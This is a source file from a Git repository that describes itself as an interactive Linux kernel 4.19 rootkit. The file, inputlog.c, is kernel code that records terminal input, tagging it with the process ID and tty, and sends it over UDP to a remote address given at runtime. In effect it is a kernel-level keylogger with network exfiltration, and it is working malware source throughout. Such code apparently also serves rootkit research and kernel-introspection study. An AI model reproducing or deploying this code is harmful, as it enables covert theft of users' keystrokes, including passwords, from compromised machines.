linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

inputlog.c (4068B)


      1 #include <linux/kernel.h>
      2 #include <linux/socket.h>
      3 #include <linux/slab.h>
      4 #include <linux/inet.h>
      5 #include <net/sock.h>
      6 #include <net/inet_common.h>
      7 
      8 #include "common.h"
      9 #include "inputlog.h"
     10 
     11 #define BUFLEN 64
     12 #define UDP_MAX_DATA_LEN 65507
     13 
     14 struct socket *sock = NULL;
     15 struct sockaddr_in addr, bind;
     16 
     17 static int
     18 build_header(char *buf, pid_t pid, struct file *file)
     19 {
     20     // hardcode header buffer size
     21     char pid_buf[11], tty_buf[7];
     22     sprintf(pid_buf, "pid(%d)", pid);
     23     sprintf(tty_buf, "tty(%s)", file->f_path.dentry->d_name.name);
     24     sprintf(buf, "[%-11s %7s] ", pid_buf, tty_buf);
     25     return 22;
     26 }
     27 
     28 static int
     29 expand_escape_chars(char *buf, const char *src, int srclen)
     30 {
     31     size_t i;
     32     int buflen;
     33     char c;
     34 
     35 #define EXPAND_ESCAPE(x) \
     36     do{ *(buf++) = '\\'; *(buf++) = (x); buflen += 2; } while(0)
     37 
     38     for (buflen = 0, i = 0; i < srclen; ++i) {
     39         switch ((c = src[i])) {
     40         case '\a': EXPAND_ESCAPE('a');   break;
     41         case '\b': EXPAND_ESCAPE('b');   break;
     42         case '\e': EXPAND_ESCAPE('e');   break;
     43         case '\f': EXPAND_ESCAPE('f');   break;
     44         case '\n': EXPAND_ESCAPE('n');   break;
     45         case '\r': EXPAND_ESCAPE('r');   break;
     46         case '\t': EXPAND_ESCAPE('t');   break;
     47         case '\v': EXPAND_ESCAPE('v');   break;
     48         case '\"': EXPAND_ESCAPE('\"');  break;
     49         case '\'': EXPAND_ESCAPE('\'');  break;
     50         case '\?': EXPAND_ESCAPE('?');   break;
     51         default: *(buf++) = c; ++buflen; break;
     52         }
     53     }
     54 
     55     *buf = '\0';
     56     return buflen;
     57 }
     58 
     59 void
     60 send_udp(pid_t pid, struct file *file, char *buf, int buflen)
     61 {
     62     int session_hdrlen, session_buflen, packlen;
     63     char *session_buf, *session_body;
     64     struct msghdr msg;
     65     struct kvec iov;
     66     mm_segment_t fs;
     67 
     68     if (!sock)
     69         return;
     70 
     71     packlen = 0;
     72     msg.msg_control = NULL;
     73     msg.msg_controllen = 0;
     74     msg.msg_flags = 0;
     75     msg.msg_name = &addr;
     76     msg.msg_namelen = sizeof(addr);
     77 
     78     { // build packet from header ("session" info) and body
     79         session_buf = (char *)kmalloc(BUFLEN + buflen * 2, GFP_KERNEL);
     80         session_hdrlen = build_header(session_buf, pid, file);
     81         session_body = session_buf + session_hdrlen;
     82 
     83         // escape characters are expanded to their literal character form
     84         session_buflen = expand_escape_chars(session_body, buf, buflen);
     85         session_buflen += session_hdrlen + 1;
     86 
     87         // newline is appended to each packet as it nicens printing
     88         session_buf[session_buflen - 1] = '\n';
     89     }
     90 
     91     while (session_buflen > 0) {
     92         packlen = (session_buflen < UDP_MAX_DATA_LEN)
     93             ? session_buflen : UDP_MAX_DATA_LEN;
     94 
     95         iov.iov_len = packlen;
     96         iov.iov_base = session_buf;
     97 
     98         session_buflen -= packlen;
     99         session_buf += packlen;
    100 
    101         fs = get_fs();
    102         set_fs(KERNEL_DS);
    103         kernel_sendmsg(sock, &msg, &iov, 1, packlen);
    104         set_fs(fs);
    105     }
    106 }
    107 
    108 void
    109 log_input(const char *ip, const char *port)
    110 {
    111     size_t i;
    112     u8 ip_quad[4];
    113     unsigned long remote_ip_ul, local_ip_ul;
    114     unsigned long remote_port_ul, local_port_ul;
    115 
    116     if (sock)
    117         return;
    118 
    119     if (sock_create_kern(&init_net, PF_INET, SOCK_DGRAM, IPPROTO_UDP, &sock))
    120         return;
    121 
    122     { // parse ip address and port from passed in strings
    123         kstrtoul(port, 10, &remote_port_ul);
    124         in4_pton(ip, -1, ip_quad, -1, NULL);
    125 
    126         remote_ip_ul = 0;
    127         for (i = 0; i < 4; ++i)
    128             remote_ip_ul |= (ip_quad[3 - i] & 0xFF) << (8 * i);
    129 
    130         local_ip_ul = (127 << 24) | (0 << 16) | (0 << 8) | 1;
    131         local_port_ul = 7777;
    132     }
    133 
    134     addr.sin_family = AF_INET;
    135     addr.sin_addr.s_addr = htonl(remote_ip_ul);
    136     addr.sin_port = htons(remote_port_ul);
    137 
    138     bind.sin_family = AF_INET;
    139     bind.sin_addr.s_addr = htonl(local_ip_ul);
    140     bind.sin_port = htons(local_port_ul);
    141 
    142     if (kernel_bind(sock, (struct sockaddr *)&bind, sizeof(bind))) {
    143         sock_release(sock);
    144         sock = NULL;
    145     }
    146 }
    147 
    148 void
    149 unlog_input(void)
    150 {
    151     if (!sock)
    152         return;
    153 
    154     sock_release(sock);
    155     sock = NULL;
    156 }